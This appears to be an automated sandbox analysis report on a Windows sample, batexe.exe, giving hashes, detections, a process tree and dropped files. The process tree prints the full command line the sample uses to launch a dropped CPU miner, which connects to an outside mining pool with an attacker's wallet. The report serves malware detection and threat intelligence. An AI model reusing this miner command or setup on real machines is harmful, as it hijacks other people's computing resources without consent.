73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
304s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
21/02/2024, 02:13

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2884	b2e.exe
4952	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4952	cpuminer-sse2.exe
4952	cpuminer-sse2.exe
4952	cpuminer-sse2.exe
4952	cpuminer-sse2.exe
4952	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3404-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3404 wrote to memory of 2884	3404	batexe.exe	73
PID 3404 wrote to memory of 2884	3404	batexe.exe	73
PID 3404 wrote to memory of 2884	3404	batexe.exe	73
PID 2884 wrote to memory of 4956	2884	b2e.exe	74
PID 2884 wrote to memory of 4956	2884	b2e.exe	74
PID 2884 wrote to memory of 4956	2884	b2e.exe	74
PID 4956 wrote to memory of 4952	4956	cmd.exe	77
PID 4956 wrote to memory of 4952	4956	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3404
- C:\Users\Admin\AppData\Local\Temp\AB15.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AB15.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AB15.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AF1C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4956
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AB15.tmp\b2e.exe

Filesize
6.9MB

MD5
af408b23fb68a72b39c093c225604cd9

SHA1
6fbd39519b45820c829144703f724698d3bc14e3

SHA256
bea5cc0179a71e71b0ae296d28d8fcaf0ffcc2147cc1e5851b160745af5cb8ec

SHA512
26d74bfcc22041a312d81e65f55b9fe2d51475a4b052f4211362d38894bb625918453118cbb75618e5593b104daf7b05fe8cc8144e5da3028c6523371ca5b472

Download Submit
C:\Users\Admin\AppData\Local\Temp\AB15.tmp\b2e.exe

Filesize
9.8MB

MD5
5c80e6a2c4b17ef8be1604d69bef25a5

SHA1
777fcbef2e8c351128f504f6f3ef42043b9def76

SHA256
bb75209205168adadb10ac47a0720146bfb28d06ae6940e7750c118ff9388a98

SHA512
ab9ab0e0f292eda510f09a67d708f82cd433f879ab06091217cca9a92c4102e8ef1b59f90f4d4cdea3eb4a0641b967189903a505e404bf7a5eba2c6467a19d22

Download Submit
C:\Users\Admin\AppData\Local\Temp\AF1C.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
6a119a1a3238dd3b96b0ca27529e1cb2

SHA1
d3ecdcfa3c3f70a0ce249e8210a4588b7a984d61

SHA256
679770ac6b8817004acfacd8eaa3db50ce3fbd34f039d45872f588f0182c021b

SHA512
0b4b49312889f2795399eb93f662a1af2a479890a2abc4f6279107b205f9fb674005d0c5280eac0a00c797eafda1b11f19b98f84c6edd385d6102e49e5496357

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
be2662769d232752895742d18eda23ea

SHA1
08ce559276953ac3ac0f041ed53f8d094b9ba3e0

SHA256
f37f7b831f830672f8cbee96de0b91c295af326c680bb76b04a5899403c3a1da

SHA512
675b2b0daa4e55a8ca97dcd4724eb2db8e12b9d5ad1b93655cab688e460930f04891312fd90fc631c5061117c95229cd68d2c2ffe95d48fdb8eb58449aed2c80

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
14d44de2a376b1198061fc01858e2b2d

SHA1
8a1b58e76c5e430eb5ff096dbf2a38f26dca3374

SHA256
8f5659ad955880f7cab780654c4de0e32e7891d156f9c13162c7eca5a930da70

SHA512
bd606f91db78afeee442dca17ee6d96d49af8498d746e622e882ce5350dbe170d089fe9c3e3d58ac533e05a49c97a685087395e74d28499aaf28deef66c3486c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
bd70a3cab70c277ccdcccd474cf2d745

SHA1
a45abbd5114322f1ccad94222d60c5c887219396

SHA256
76cd32be3e16eae9c1cafede92b0a56eae76347a9b3c610b5c3d94b945c504a0

SHA512
b4d4a5b9ec2052d16d21772a8c78eb85fdd77840dcca3e565b1d3bcf43c47e3cacc6dd4fe8b4c1f8a5f901163789fd92392eed13e85cbc499c6788b4a8f094c2

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2884-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2884-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3404-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4952-43-0x0000000072E40000-0x0000000072ED8000-memory.dmp

Filesize
608KB

Download
memory/4952-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4952-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4952-44-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/4952-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download